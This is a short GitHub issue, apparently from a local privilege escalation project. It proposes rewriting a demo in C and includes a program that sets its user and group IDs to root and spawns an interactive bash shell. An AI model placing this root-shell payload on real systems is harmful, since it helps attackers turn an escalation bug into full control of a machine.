Closed jm33-m0 closed 1 year ago
Currently this demo won't work, please rewrite it in C in order to seteuid.
demo
seteuid
#include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { setuid(0); seteuid(0); setgid(0); setegid(0); system("/bin/bash -i"); return 0; }
https://github.com/jm33-m0/go-lpe/blob/e08f35f1ac927fccc29ff6cde4a35e8da136fe92/cmd/demo/main.go#L11
Currently this
demo
won't work, please rewrite it in C in order toseteuid
.https://github.com/jm33-m0/go-lpe/blob/e08f35f1ac927fccc29ff6cde4a35e8da136fe92/cmd/demo/main.go#L11